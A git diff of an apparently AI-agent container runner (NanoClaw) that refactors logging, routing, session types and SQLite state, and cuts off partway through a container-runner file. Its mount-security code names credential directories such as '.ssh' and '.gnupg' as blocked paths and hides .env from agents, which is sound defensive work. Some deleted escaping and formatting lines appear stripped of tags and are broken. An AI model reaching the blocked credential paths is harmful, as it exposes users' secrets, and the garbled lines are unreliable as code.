import os from 'os'; import path from 'path'; import { MOUNT_ALLOWLIST_PATH } from './config.js'; -import { logger } from './logger.js'; -import { AdditionalMount, AllowedRoot, MountAllowlist } from './types.js'; +import { log } from './log.js'; + +export interface AdditionalMount { + hostPath: string; + containerPath?: string; + readonly?: boolean; +} + +export interface MountAllowlist { + allowedRoots: AllowedRoot[]; + blockedPatterns: string[]; + nonMainReadOnly: boolean; +} + +export interface AllowedRoot { + path: string; + allowReadWrite: boolean; + description?: string; +} // Cache the allowlist in memory - only reloads on process restart let cachedAllowlist: MountAllowlist | null = null; @@ -59,11 +76,7 @@ export function loadMountAllowlist(): MountAllowlist | null { if (!fs.existsSync(MOUNT_ALLOWLIST_PATH)) { // Do NOT cache this as an error — file may be created later without restart. // Only parse/structural errors are permanently cached. - logger.warn( - { path: MOUNT_ALLOWLIST_PATH }, - 'Mount allowlist not found - additional mounts will be BLOCKED. ' + - 'Create the file to enable additional mounts.', - ); + log.warn('Mount allowlist not found - additional mounts will be BLOCKED. Create the file to enable additional mounts.', { path: MOUNT_ALLOWLIST_PATH }); return null; } @@ -88,25 +101,12 @@ export function loadMountAllowlist(): MountAllowlist | null { allowlist.blockedPatterns = mergedBlockedPatterns; cachedAllowlist = allowlist; - logger.info( - { - path: MOUNT_ALLOWLIST_PATH, - allowedRoots: allowlist.allowedRoots.length, - blockedPatterns: allowlist.blockedPatterns.length, - }, - 'Mount allowlist loaded successfully', - ); + log.info('Mount allowlist loaded successfully', { path: MOUNT_ALLOWLIST_PATH, allowedRoots: allowlist.allowedRoots.length, blockedPatterns: allowlist.blockedPatterns.length }); return cachedAllowlist; } catch (err) { allowlistLoadError = err instanceof Error ? err.message : String(err); - logger.error( - { - path: MOUNT_ALLOWLIST_PATH, - error: allowlistLoadError, - }, - 'Failed to load mount allowlist - additional mounts will be BLOCKED', - ); + log.error('Failed to load mount allowlist - additional mounts will be BLOCKED', { path: MOUNT_ALLOWLIST_PATH, error: allowlistLoadError }); return null; } } @@ -283,22 +283,11 @@ export function validateMount(mount: AdditionalMount, isMain: boolean): MountVal if (!isMain && allowlist.nonMainReadOnly) { // Non-main groups forced to read-only effectiveReadonly = true; - logger.info( - { - mount: mount.hostPath, - }, - 'Mount forced to read-only for non-main group', - ); + log.info('Mount forced to read-only for non-main group', { mount: mount.hostPath }); } else if (!allowedRoot.allowReadWrite) { // Root doesn't allow read-write effectiveReadonly = true; - logger.info( - { - mount: mount.hostPath, - root: allowedRoot.path, - }, - 'Mount forced to read-only - root does not allow read-write', - ); + log.info('Mount forced to read-only - root does not allow read-write', { mount: mount.hostPath, root: allowedRoot.path }); } else { // Read-write allowed effectiveReadonly = false; @@ -344,26 +333,9 @@ export function validateAdditionalMounts( readonly: result.effectiveReadonly!, }); - logger.debug( - { - group: groupName, - hostPath: result.realHostPath, - containerPath: result.resolvedContainerPath, - readonly: result.effectiveReadonly, - reason: result.reason, - }, - 'Mount validated successfully', - ); + log.debug('Mount validated successfully', { group: groupName, hostPath: result.realHostPath, containerPath: result.resolvedContainerPath, readonly: result.effectiveReadonly, reason: result.reason }); } else { - logger.warn( - { - group: groupName, - requestedPath: mount.hostPath, - containerPath: mount.containerPath, - reason: result.reason, - }, - 'Additional mount REJECTED', - ); + log.warn('Additional mount REJECTED', { group: groupName, requestedPath: mount.hostPath, containerPath: mount.containerPath, reason: result.reason }); } } diff --git a/src/router-v2.ts b/src/router-v2.ts deleted file mode 100644 index 3859576..0000000 --- a/src/router-v2.ts +++ /dev/null @@ -1,111 +0,0 @@ -/** - * Inbound message routing for v2. - * - * Channel adapter event → resolve messaging group → resolve agent group - * → resolve/create session → write messages_in → wake container - */ -import { getMessagingGroupByPlatform, createMessagingGroup, getMessagingGroupAgents } from './db/messaging-groups.js'; -import { log } from './log.js'; -import { resolveSession, writeSessionMessage } from './session-manager.js'; -import { wakeContainer } from './container-runner-v2.js'; -import { getSession } from './db/sessions.js'; -import type { MessagingGroupAgent } from './types-v2.js'; - -function generateId(): string { - return `msg-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; -} - -export interface InboundEvent { - channelType: string; - platformId: string; - threadId: string | null; - message: { - id: string; - kind: 'chat' | 'chat-sdk'; - content: string; // JSON blob - timestamp: string; - }; -} - -/** - * Route an inbound message from a channel adapter to the correct session. - * Creates messaging group + session if they don't exist yet. - */ -export async function routeInbound(event: InboundEvent): Promise { - // 1. Resolve messaging group - let mg = getMessagingGroupByPlatform(event.channelType, event.platformId); - - if (!mg) { - // Auto-create messaging group (adapter already decided to forward this) - const mgId = `mg-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; - mg = { - id: mgId, - channel_type: event.channelType, - platform_id: event.platformId, - name: null, - is_group: 0, - admin_user_id: null, - created_at: new Date().toISOString(), - }; - createMessagingGroup(mg); - log.info('Auto-created messaging group', { - id: mgId, - channelType: event.channelType, - platformId: event.platformId, - }); - } - - // 2. Resolve agent group via messaging_group_agents - const agents = getMessagingGroupAgents(mg.id); - if (agents.length === 0) { - log.warn('No agent groups configured for messaging group', { - messagingGroupId: mg.id, - platformId: event.platformId, - }); - return; - } - - // Pick the best matching agent (highest priority, trigger matching in future) - const match = pickAgent(agents, event); - if (!match) { - log.debug('No agent matched for message', { messagingGroupId: mg.id }); - return; - } - - // 3. Resolve or create session - const { session, created } = resolveSession(match.agent_group_id, mg.id, event.threadId, match.session_mode); - - // 4. Write message to session DB - writeSessionMessage(session.agent_group_id, session.id, { - id: event.message.id || generateId(), - kind: event.message.kind, - timestamp: event.message.timestamp, - platformId: event.platformId, - channelType: event.channelType, - threadId: event.threadId, - content: event.message.content, - }); - - log.info('Message routed', { - sessionId: session.id, - agentGroup: match.agent_group_id, - kind: event.message.kind, - created, - }); - - // 5. Wake container - const freshSession = getSession(session.id); - if (freshSession) { - await wakeContainer(freshSession); - } -} - -/** - * Pick the matching agent for an inbound event. - * Currently: highest priority agent. Future: trigger rule matching. - */ -function pickAgent(agents: MessagingGroupAgent[], _event: InboundEvent): MessagingGroupAgent | null { - // Agents are already ordered by priority DESC from the DB query - // TODO: apply trigger_rules matching (pattern, mentionOnly, etc.) - return agents[0] ?? null; -} diff --git a/src/router.ts b/src/router.ts index 4c7dd38..2bcce73 100644 --- a/src/router.ts +++ b/src/router.ts @@ -1,43 +1,111 @@ -import { Channel, NewMessage } from './types.js'; -import { formatLocalTime } from './timezone.js'; +/** + * Inbound message routing for v2. + * + * Channel adapter event → resolve messaging group → resolve agent group + * → resolve/create session → write messages_in → wake container + */ +import { getMessagingGroupByPlatform, createMessagingGroup, getMessagingGroupAgents } from './db/messaging-groups.js'; +import { log } from './log.js'; +import { resolveSession, writeSessionMessage } from './session-manager.js'; +import { wakeContainer } from './container-runner.js'; +import { getSession } from './db/sessions.js'; +import type { MessagingGroupAgent } from './types.js'; -export function escapeXml(s: string): string { - if (!s) return ''; - return s.replace(/&/g, '&').replace(//g, '>').replace(/"/g, '"'); +function generateId(): string { + return `msg-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; } -export function formatMessages(messages: NewMessage[], timezone: string): string { - const lines = messages.map((m) => { - const displayTime = formatLocalTime(m.timestamp, timezone); - const replyAttr = m.reply_to_message_id ? ` reply_to="${escapeXml(m.reply_to_message_id)}"` : ''; - const replySnippet = - m.reply_to_message_content && m.reply_to_sender_name - ? `\n ${escapeXml(m.reply_to_message_content)}` - : ''; - return `${replySnippet}${escapeXml(m.content)}`; +export interface InboundEvent { + channelType: string; + platformId: string; + threadId: string | null; + message: { + id: string; + kind: 'chat' | 'chat-sdk'; + content: string; // JSON blob + timestamp: string; + }; +} + +/** + * Route an inbound message from a channel adapter to the correct session. + * Creates messaging group + session if they don't exist yet. + */ +export async function routeInbound(event: InboundEvent): Promise { + // 1. Resolve messaging group + let mg = getMessagingGroupByPlatform(event.channelType, event.platformId); + + if (!mg) { + // Auto-create messaging group (adapter already decided to forward this) + const mgId = `mg-${Date.now()}-${Math.random().toString(36).slice(2, 8)}`; + mg = { + id: mgId, + channel_type: event.channelType, + platform_id: event.platformId, + name: null, + is_group: 0, + admin_user_id: null, + created_at: new Date().toISOString(), + }; + createMessagingGroup(mg); + log.info('Auto-created messaging group', { + id: mgId, + channelType: event.channelType, + platformId: event.platformId, + }); + } + + // 2. Resolve agent group via messaging_group_agents + const agents = getMessagingGroupAgents(mg.id); + if (agents.length === 0) { + log.warn('No agent groups configured for messaging group', { + messagingGroupId: mg.id, + platformId: event.platformId, + }); + return; + } + + // Pick the best matching agent (highest priority, trigger matching in future) + const match = pickAgent(agents, event); + if (!match) { + log.debug('No agent matched for message', { messagingGroupId: mg.id }); + return; + } + + // 3. Resolve or create session + const { session, created } = resolveSession(match.agent_group_id, mg.id, event.threadId, match.session_mode); + + // 4. Write message to session DB + writeSessionMessage(session.agent_group_id, session.id, { + id: event.message.id || generateId(), + kind: event.message.kind, + timestamp: event.message.timestamp, + platformId: event.platformId, + channelType: event.channelType, + threadId: event.threadId, + content: event.message.content, }); - const header = `\n`; + log.info('Message routed', { + sessionId: session.id, + agentGroup: match.agent_group_id, + kind: event.message.kind, + created, + }); - return `${header}\n${lines.join('\n')}\n`; + // 5. Wake container + const freshSession = getSession(session.id); + if (freshSession) { + await wakeContainer(freshSession); + } } -export function stripInternalTags(text: string): string { - return text.replace(/[\s\S]*?<\/internal>/g, '').trim(); -} - -export function formatOutbound(rawText: string): string { - const text = stripInternalTags(rawText); - if (!text) return ''; - return text; -} - -export function routeOutbound(channels: Channel[], jid: string, text: string): Promise { - const channel = channels.find((c) => c.ownsJid(jid) && c.isConnected()); - if (!channel) throw new Error(`No channel for JID: ${jid}`); - return channel.sendMessage(jid, text); -} - -export function findChannel(channels: Channel[], jid: string): Channel | undefined { - return channels.find((c) => c.ownsJid(jid)); +/** + * Pick the matching agent for an inbound event. + * Currently: highest priority agent. Future: trigger rule matching. + */ +function pickAgent(agents: MessagingGroupAgent[], _event: InboundEvent): MessagingGroupAgent | null { + // Agents are already ordered by priority DESC from the DB query + // TODO: apply trigger_rules matching (pattern, mentionOnly, etc.) + return agents[0] ?? null; } diff --git a/src/session-manager.ts b/src/session-manager.ts index 4498198..64e1922 100644 --- a/src/session-manager.ts +++ b/src/session-manager.ts @@ -10,7 +10,7 @@ import { DATA_DIR } from './config.js'; import { createSession, findSession, getSession, updateSession } from './db/sessions.js'; import { log } from './log.js'; import { SESSION_SCHEMA } from './db/schema.js'; -import type { Session } from './types-v2.js'; +import type { Session } from './types.js'; /** Root directory for all session data. */ export function sessionsBaseDir(): string { diff --git a/src/state-sqlite.ts b/src/state-sqlite.ts index 64731a2..ec15bd6 100644 --- a/src/state-sqlite.ts +++ b/src/state-sqlite.ts @@ -31,9 +31,9 @@ export class SqliteStateAdapter implements StateAdapter { async get(key: string): Promise { this.cleanup(); - const row = this.db - .prepare('SELECT value, expires_at FROM chat_sdk_kv WHERE key = ?') - .get(key) as { value: string; expires_at: number | null } | undefined; + const row = this.db.prepare('SELECT value, expires_at FROM chat_sdk_kv WHERE key = ?').get(key) as + | { value: string; expires_at: number | null } + | undefined; if (!row) return null; if (row.expires_at && row.expires_at < Date.now()) { this.db.prepare('DELETE FROM chat_sdk_kv WHERE key = ?').run(key); @@ -44,16 +44,22 @@ export class SqliteStateAdapter implements StateAdapter { async set(key: string, value: T, ttlMs?: number): Promise { const expiresAt = ttlMs ? Date.now() + ttlMs : null; - this.db.prepare('INSERT OR REPLACE INTO chat_sdk_kv (key, value, expires_at) VALUES (?, ?, ?)').run(key, JSON.stringify(value), expiresAt); + this.db + .prepare('INSERT OR REPLACE INTO chat_sdk_kv (key, value, expires_at) VALUES (?, ?, ?)') + .run(key, JSON.stringify(value), expiresAt); } async setIfNotExists(key: string, value: unknown, ttlMs?: number): Promise { - const existing = this.db.prepare('SELECT expires_at FROM chat_sdk_kv WHERE key = ?').get(key) as { expires_at: number | null } | undefined; + const existing = this.db.prepare('SELECT expires_at FROM chat_sdk_kv WHERE key = ?').get(key) as + | { expires_at: number | null } + | undefined; if (existing?.expires_at && existing.expires_at < Date.now()) { this.db.prepare('DELETE FROM chat_sdk_kv WHERE key = ?').run(key); } const expiresAt = ttlMs ? Date.now() + ttlMs : null; - const result = this.db.prepare('INSERT OR IGNORE INTO chat_sdk_kv (key, value, expires_at) VALUES (?, ?, ?)').run(key, JSON.stringify(value), expiresAt); + const result = this.db + .prepare('INSERT OR IGNORE INTO chat_sdk_kv (key, value, expires_at) VALUES (?, ?, ?)') + .run(key, JSON.stringify(value), expiresAt); return result.changes > 0; } @@ -83,7 +89,9 @@ export class SqliteStateAdapter implements StateAdapter { const token = crypto.randomUUID(); const expiresAt = now + ttlMs; this.db.prepare('DELETE FROM chat_sdk_locks WHERE thread_id = ? AND expires_at < ?').run(threadId, now); - const result = this.db.prepare('INSERT OR IGNORE INTO chat_sdk_locks (thread_id, token, expires_at) VALUES (?, ?, ?)').run(threadId, token, expiresAt); + const result = this.db + .prepare('INSERT OR IGNORE INTO chat_sdk_locks (thread_id, token, expires_at) VALUES (?, ?, ?)') + .run(threadId, token, expiresAt); if (result.changes === 0) return null; return { threadId, token, expiresAt }; } @@ -94,7 +102,9 @@ export class SqliteStateAdapter implements StateAdapter { async extendLock(lock: Lock, ttlMs: number): Promise { const newExpiry = Date.now() + ttlMs; - const result = this.db.prepare('UPDATE chat_sdk_locks SET expires_at = ? WHERE thread_id = ? AND token = ?').run(newExpiry, lock.threadId, lock.token); + const result = this.db + .prepare('UPDATE chat_sdk_locks SET expires_at = ? WHERE thread_id = ? AND token = ?') + .run(newExpiry, lock.threadId, lock.token); if (result.changes > 0) { lock.expiresAt = newExpiry; return true; @@ -110,9 +120,13 @@ export class SqliteStateAdapter implements StateAdapter { async appendToList(key: string, value: unknown, options?: { maxLength?: number; ttlMs?: number }): Promise { const expiresAt = options?.ttlMs ? Date.now() + options.ttlMs : null; - const maxRow = this.db.prepare('SELECT MAX(idx) as maxIdx FROM chat_sdk_lists WHERE key = ?').get(key) as { maxIdx: number | null } | undefined; + const maxRow = this.db.prepare('SELECT MAX(idx) as maxIdx FROM chat_sdk_lists WHERE key = ?').get(key) as + | { maxIdx: number | null } + | undefined; const nextIdx = (maxRow?.maxIdx ?? -1) + 1; - this.db.prepare('INSERT INTO chat_sdk_lists (key, idx, value, expires_at) VALUES (?, ?, ?, ?)').run(key, nextIdx, JSON.stringify(value), expiresAt); + this.db + .prepare('INSERT INTO chat_sdk_lists (key, idx, value, expires_at) VALUES (?, ?, ?, ?)') + .run(key, nextIdx, JSON.stringify(value), expiresAt); if (options?.maxLength) { const cutoff = nextIdx - options.maxLength; if (cutoff >= 0) { @@ -123,7 +137,11 @@ export class SqliteStateAdapter implements StateAdapter { async getList(key: string): Promise { const now = Date.now(); - const rows = this.db.prepare('SELECT value FROM chat_sdk_lists WHERE key = ? AND (expires_at IS NULL OR expires_at > ?) ORDER BY idx ASC').all(key, now) as { value: string }[]; + const rows = this.db + .prepare( + 'SELECT value FROM chat_sdk_lists WHERE key = ? AND (expires_at IS NULL OR expires_at > ?) ORDER BY idx ASC', + ) + .all(key, now) as { value: string }[]; return rows.map((r) => JSON.parse(r.value) as T); } @@ -137,7 +155,9 @@ export class SqliteStateAdapter implements StateAdapter { async dequeue(threadId: string): Promise { const key = `queue:${threadId}`; - const row = this.db.prepare('SELECT idx, value FROM chat_sdk_lists WHERE key = ? ORDER BY idx ASC LIMIT 1').get(key) as { idx: number; value: string } | undefined; + const row = this.db + .prepare('SELECT idx, value FROM chat_sdk_lists WHERE key = ? ORDER BY idx ASC LIMIT 1') + .get(key) as { idx: number; value: string } | undefined; if (!row) return null; this.db.prepare('DELETE FROM chat_sdk_lists WHERE key = ? AND idx = ?').run(key, row.idx); return JSON.parse(row.value) as QueueEntry; @@ -145,7 +165,9 @@ export class SqliteStateAdapter implements StateAdapter { async queueDepth(threadId: string): Promise { const key = `queue:${threadId}`; - const row = this.db.prepare('SELECT COUNT(*) as count FROM chat_sdk_lists WHERE key = ?').get(key) as { count: number }; + const row = this.db.prepare('SELECT COUNT(*) as count FROM chat_sdk_lists WHERE key = ?').get(key) as { + count: number; + }; return row.count; } diff --git a/src/types-v2.ts b/src/types-v2.ts deleted file mode 100644 index 7b202bb..0000000 --- a/src/types-v2.ts +++ /dev/null @@ -1,90 +0,0 @@ -// ── Central DB entities ── - -export interface AgentGroup { - id: string; - name: string; - folder: string; - is_admin: number; // 0 | 1 - agent_provider: string | null; - container_config: string | null; // JSON: { additionalMounts, timeout } - created_at: string; -} - -export interface MessagingGroup { - id: string; - channel_type: string; - platform_id: string; - name: string | null; - is_group: number; // 0 | 1 - admin_user_id: string | null; - created_at: string; -} - -export interface MessagingGroupAgent { - id: string; - messaging_group_id: string; - agent_group_id: string; - trigger_rules: string | null; // JSON: { pattern, mentionOnly, excludeSenders, includeSenders } - response_scope: 'all' | 'triggered' | 'allowlisted'; - session_mode: 'shared' | 'per-thread'; - priority: number; - created_at: string; -} - -export interface Session { - id: string; - agent_group_id: string; - messaging_group_id: string | null; - thread_id: string | null; - agent_provider: string | null; - status: 'active' | 'closed'; - container_status: 'running' | 'idle' | 'stopped'; - last_active: string | null; - created_at: string; -} - -// ── Session DB entities ── - -export type MessageInKind = 'chat' | 'chat-sdk' | 'task' | 'webhook' | 'system'; -export type MessageInStatus = 'pending' | 'processing' | 'completed' | 'failed'; - -export interface MessageIn { - id: string; - kind: MessageInKind; - timestamp: string; - status: MessageInStatus; - status_changed: string | null; - process_after: string | null; - recurrence: string | null; - tries: number; - platform_id: string | null; - channel_type: string | null; - thread_id: string | null; - content: string; // JSON blob -} - -export interface MessageOut { - id: string; - in_reply_to: string | null; - timestamp: string; - delivered: number; // 0 | 1 - deliver_after: string | null; - recurrence: string | null; - kind: string; - platform_id: string | null; - channel_type: string | null; - thread_id: string | null; - content: string; // JSON blob -} - -// ── Pending questions (central DB) ── - -export interface PendingQuestion { - question_id: string; - session_id: string; - message_out_id: string; - platform_id: string | null; - channel_type: string | null; - thread_id: string | null; - created_at: string; -} diff --git a/src/types.ts b/src/types.ts index 717aff6..7b202bb 100644 --- a/src/types.ts +++ b/src/types.ts @@ -1,112 +1,90 @@ -export interface AdditionalMount { - hostPath: string; // Absolute path on host (supports ~ for home) - containerPath?: string; // Optional — defaults to basename of hostPath. Mounted at /workspace/extra/{value} - readonly?: boolean; // Default: true for safety -} +// ── Central DB entities ── -/** - * Mount Allowlist - Security configuration for additional mounts - * This file should be stored at ~/.config/nanoclaw/mount-allowlist.json - * and is NOT mounted into any container, making it tamper-proof from agents. - */ -export interface MountAllowlist { - // Directories that can be mounted into containers - allowedRoots: AllowedRoot[]; - // Glob patterns for paths that should never be mounted (e.g., ".ssh", ".gnupg") - blockedPatterns: string[]; - // If true, non-main groups can only mount read-only regardless of config - nonMainReadOnly: boolean; -} - -export interface AllowedRoot { - // Absolute path or ~ for home (e.g., "~/projects", "/var/repos") - path: string; - // Whether read-write mounts are allowed under this root - allowReadWrite: boolean; - // Optional description for documentation - description?: string; -} - -export interface ContainerConfig { - additionalMounts?: AdditionalMount[]; - timeout?: number; // Default: 300000 (5 minutes) -} - -export interface RegisteredGroup { +export interface AgentGroup { + id: string; name: string; folder: string; - trigger: string; - added_at: string; - containerConfig?: ContainerConfig; - requiresTrigger?: boolean; // Default: true for groups, false for solo chats - isMain?: boolean; // True for the main control group (no trigger, elevated privileges) -} - -export interface NewMessage { - id: string; - chat_jid: string; - sender: string; - sender_name: string; - content: string; - timestamp: string; - is_from_me?: boolean; - is_bot_message?: boolean; - thread_id?: string; - reply_to_message_id?: string; - reply_to_message_content?: string; - reply_to_sender_name?: string; -} - -export interface ScheduledTask { - id: string; - group_folder: string; - chat_jid: string; - prompt: string; - script?: string | null; - schedule_type: 'cron' | 'interval' | 'once'; - schedule_value: string; - context_mode: 'group' | 'isolated'; - next_run: string | null; - last_run: string | null; - last_result: string | null; - status: 'active' | 'paused' | 'completed'; + is_admin: number; // 0 | 1 + agent_provider: string | null; + container_config: string | null; // JSON: { additionalMounts, timeout } created_at: string; } -export interface TaskRunLog { - task_id: string; - run_at: string; - duration_ms: number; - status: 'success' | 'error'; - result: string | null; - error: string | null; +export interface MessagingGroup { + id: string; + channel_type: string; + platform_id: string; + name: string | null; + is_group: number; // 0 | 1 + admin_user_id: string | null; + created_at: string; } -// --- Channel abstraction --- - -export interface Channel { - name: string; - connect(): Promise; - sendMessage(jid: string, text: string): Promise; - isConnected(): boolean; - ownsJid(jid: string): boolean; - disconnect(): Promise; - // Optional: typing indicator. Channels that support it implement it. - setTyping?(jid: string, isTyping: boolean): Promise; - // Optional: sync group/chat names from the platform. - syncGroups?(force: boolean): Promise; +export interface MessagingGroupAgent { + id: string; + messaging_group_id: string; + agent_group_id: string; + trigger_rules: string | null; // JSON: { pattern, mentionOnly, excludeSenders, includeSenders } + response_scope: 'all' | 'triggered' | 'allowlisted'; + session_mode: 'shared' | 'per-thread'; + priority: number; + created_at: string; } -// Callback type that channels use to deliver inbound messages -export type OnInboundMessage = (chatJid: string, message: NewMessage) => void; +export interface Session { + id: string; + agent_group_id: string; + messaging_group_id: string | null; + thread_id: string | null; + agent_provider: string | null; + status: 'active' | 'closed'; + container_status: 'running' | 'idle' | 'stopped'; + last_active: string | null; + created_at: string; +} -// Callback for chat metadata discovery. -// name is optional — channels that deliver names inline (Telegram) pass it here; -// channels that sync names separately (via syncGroups) omit it. -export type OnChatMetadata = ( - chatJid: string, - timestamp: string, - name?: string, - channel?: string, - isGroup?: boolean, -) => void; +// ── Session DB entities ── + +export type MessageInKind = 'chat' | 'chat-sdk' | 'task' | 'webhook' | 'system'; +export type MessageInStatus = 'pending' | 'processing' | 'completed' | 'failed'; + +export interface MessageIn { + id: string; + kind: MessageInKind; + timestamp: string; + status: MessageInStatus; + status_changed: string | null; + process_after: string | null; + recurrence: string | null; + tries: number; + platform_id: string | null; + channel_type: string | null; + thread_id: string | null; + content: string; // JSON blob +} + +export interface MessageOut { + id: string; + in_reply_to: string | null; + timestamp: string; + delivered: number; // 0 | 1 + deliver_after: string | null; + recurrence: string | null; + kind: string; + platform_id: string | null; + channel_type: string | null; + thread_id: string | null; + content: string; // JSON blob +} + +// ── Pending questions (central DB) ── + +export interface PendingQuestion { + question_id: string; + session_id: string; + message_out_id: string; + platform_id: string | null; + channel_type: string | null; + thread_id: string | null; + created_at: string; +} diff --git a/src/channels/registry.test.ts b/src/v1/channels/registry.test.ts similarity index 100% rename from src/channels/registry.test.ts rename to src/v1/channels/registry.test.ts diff --git a/src/channels/registry.ts b/src/v1/channels/registry.ts similarity index 100% rename from src/channels/registry.ts rename to src/v1/channels/registry.ts diff --git a/src/v1/config.ts b/src/v1/config.ts new file mode 100644 index 0000000..ef1ba9e --- /dev/null +++ b/src/v1/config.ts @@ -0,0 +1,62 @@ +import os from 'os'; +import path from 'path'; + +import { readEnvFile } from './env.js'; +import { isValidTimezone } from './timezone.js'; + +// Read config values from .env (falls back to process.env). +const envConfig = readEnvFile(['ASSISTANT_NAME', 'ASSISTANT_HAS_OWN_NUMBER', 'ONECLI_URL', 'TZ']); + +export const ASSISTANT_NAME = process.env.ASSISTANT_NAME || envConfig.ASSISTANT_NAME || 'Andy'; +export const ASSISTANT_HAS_OWN_NUMBER = + (process.env.ASSISTANT_HAS_OWN_NUMBER || envConfig.ASSISTANT_HAS_OWN_NUMBER) === 'true'; +export const POLL_INTERVAL = 2000; +export const SCHEDULER_POLL_INTERVAL = 60000; + +// Absolute paths needed for container mounts +const PROJECT_ROOT = process.cwd(); +const HOME_DIR = process.env.HOME || os.homedir(); + +// Mount security: allowlist stored OUTSIDE project root, never mounted into containers +export const MOUNT_ALLOWLIST_PATH = path.join(HOME_DIR, '.config', 'nanoclaw', 'mount-allowlist.json'); +export const SENDER_ALLOWLIST_PATH = path.join(HOME_DIR, '.config', 'nanoclaw', 'sender-allowlist.json'); +export const STORE_DIR = path.resolve(PROJECT_ROOT, 'store'); +export const GROUPS_DIR = path.resolve(PROJECT_ROOT, 'groups'); +export const DATA_DIR = path.resolve(PROJECT_ROOT, 'data'); + +export const CONTAINER_IMAGE = process.env.CONTAINER_IMAGE || 'nanoclaw-agent:latest'; +export const CONTAINER_TIMEOUT = parseInt(process.env.CONTAINER_TIMEOUT || '1800000', 10); +export const CONTAINER_MAX_OUTPUT_SIZE = parseInt(process.env.CONTAINER_MAX_OUTPUT_SIZE || '10485760', 10); // 10MB default +export const ONECLI_URL = process.env.ONECLI_URL || envConfig.ONECLI_URL; +export const MAX_MESSAGES_PER_PROMPT = Math.max(1, parseInt(process.env.MAX_MESSAGES_PER_PROMPT || '10', 10) || 10); +export const IPC_POLL_INTERVAL = 1000; +export const IDLE_TIMEOUT = parseInt(process.env.IDLE_TIMEOUT || '1800000', 10); // 30min default — how long to keep container alive after last result +export const MAX_CONCURRENT_CONTAINERS = Math.max(1, parseInt(process.env.MAX_CONCURRENT_CONTAINERS || '5', 10) || 5); + +function escapeRegex(str: string): string { + return str.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'); +} + +export function buildTriggerPattern(trigger: string): RegExp { + return new RegExp(`^${escapeRegex(trigger.trim())}\\b`, 'i'); +} + +export const DEFAULT_TRIGGER = `@${ASSISTANT_NAME}`; + +export function getTriggerPattern(trigger?: string): RegExp { + const normalizedTrigger = trigger?.trim(); + return buildTriggerPattern(normalizedTrigger || DEFAULT_TRIGGER); +} + +export const TRIGGER_PATTERN = buildTriggerPattern(DEFAULT_TRIGGER); + +// Timezone for scheduled tasks, message formatting, etc. +// Validates each candidate is a real IANA identifier before accepting. +function resolveConfigTimezone(): string { + const candidates = [process.env.TZ, envConfig.TZ, Intl.DateTimeFormat().resolvedOptions().timeZone]; + for (const tz of candidates) { + if (tz && isValidTimezone(tz)) return tz; + } + return 'UTC'; +} +export const TIMEZONE = resolveConfigTimezone(); diff --git a/src/container-runner.test.ts b/src/v1/container-runner.test.ts similarity index 100% rename from src/container-runner.test.ts rename to src/v1/container-runner.test.ts diff --git a/src/v1/container-runner.ts b/src/v1/container-runner.ts new file mode 100644 index 0000000..b04cc28 --- /dev/null +++ b/src/v1/container-runner.ts @@ -0,0 +1,677 @@ +/** + * Container Runner for NanoClaw + * Spawns agent execution in containers and handles IPC + */ +import { ChildProcess, spawn } from 'child_process'; +import fs from 'fs'; +import path from 'path'; + +import { + CONTAINER_IMAGE, + CONTAINER_MAX_OUTPUT_SIZE, + CONTAINER_TIMEOUT, + DATA_DIR, + GROUPS_DIR, + IDLE_TIMEOUT, + ONECLI_URL, + TIMEZONE, +} from './config.js'; +import { resolveGroupFolderPath, resolveGroupIpcPath } from './group-folder.js'; +import { logger } from './logger.js'; +import { CONTAINER_RUNTIME_BIN, hostGatewayArgs, readonlyMountArgs, stopContainer } from './container-runtime.js'; +import { OneCLI } from '@onecli-sh/sdk'; +import { validateAdditionalMounts } from './mount-security.js'; +import { RegisteredGroup } from './types.js'; + +const onecli = new OneCLI({ url: ONECLI_URL }); + +// Sentinel markers for robust output parsing (must match agent-runner) +const OUTPUT_START_MARKER = '---NANOCLAW_OUTPUT_START---'; +const OUTPUT_END_MARKER = '---NANOCLAW_OUTPUT_END---'; + +export interface ContainerInput { + prompt: string; + sessionId?: string; + groupFolder: string; + chatJid: string; + isMain: boolean; + isScheduledTask?: boolean; + assistantName?: string; + script?: string; +} + +export interface ContainerOutput { + status: 'success' | 'error'; + result: string | null; + newSessionId?: string; + error?: string; +} + +interface VolumeMount { + hostPath: string; + containerPath: string; + readonly: boolean; +} + +function buildVolumeMounts(group: RegisteredGroup, isMain: boolean): VolumeMount[] { + const mounts: VolumeMount[] = []; + const projectRoot = process.cwd(); + const groupDir = resolveGroupFolderPath(group.folder); + + if (isMain) { + // Main gets the project root read-only. Writable paths the agent needs + // (store, group folder, IPC, .claude/) are mounted separately below. + // Read-only prevents the agent from modifying host application code + // (src/, dist/, package.json, etc.) which would bypass the sandbox + // entirely on next restart. + mounts.push({ + hostPath: projectRoot, + containerPath: '/workspace/project', + readonly: true, + }); + + // Shadow .env so the agent cannot read secrets from the mounted project root. + // Credentials are injected by the OneCLI gateway, never exposed to containers. + const envFile = path.join(projectRoot, '.env'); + if (fs.existsSync(envFile)) { + mounts.push({ + hostPath: '/dev/null', + containerPath: '/workspace/project/.env', + readonly: true, + }); + } + + // Main gets writable access to the store (SQLite DB) so it can + // query and write to the database directly. + const storeDir = path.join(projectRoot, 'store'); + mounts.push({ + hostPath: storeDir, + containerPath: '/workspace/project/store', + readonly: false, + }); + + // Main also gets its group folder as the working directory + mounts.push({ + hostPath: groupDir, + containerPath: '/workspace/group', + readonly: false, + }); + + // Global memory directory — writable for main so it can update shared context + const globalDir = path.join(GROUPS_DIR, 'global'); + if (fs.existsSync(globalDir)) { + mounts.push({ + hostPath: globalDir, + containerPath: '/workspace/global', + readonly: false, + }); + } + } else { + // Other groups only get their own folder + mounts.push({ + hostPath: groupDir, + containerPath: '/workspace/group', + readonly: false, + }); + + // Global memory directory (read-only for non-main) + // Only directory mounts are supported, not file mounts + const globalDir = path.join(GROUPS_DIR, 'global'); + if (fs.existsSync(globalDir)) { + mounts.push({ + hostPath: globalDir, + containerPath: '/workspace/global', + readonly: true, + }); + } + } + + // Per-group Claude sessions directory (isolated from other groups) + // Each group gets their own .claude/ to prevent cross-group session access + const groupSessionsDir = path.join(DATA_DIR, 'sessions', group.folder, '.claude'); + fs.mkdirSync(groupSessionsDir, { recursive: true }); + const settingsFile = path.join(groupSessionsDir, 'settings.json'); + if (!fs.existsSync(settingsFile)) { + fs.writeFileSync( + settingsFile, + JSON.stringify( + { + env: { + // Enable agent swarms (subagent orchestration) + // 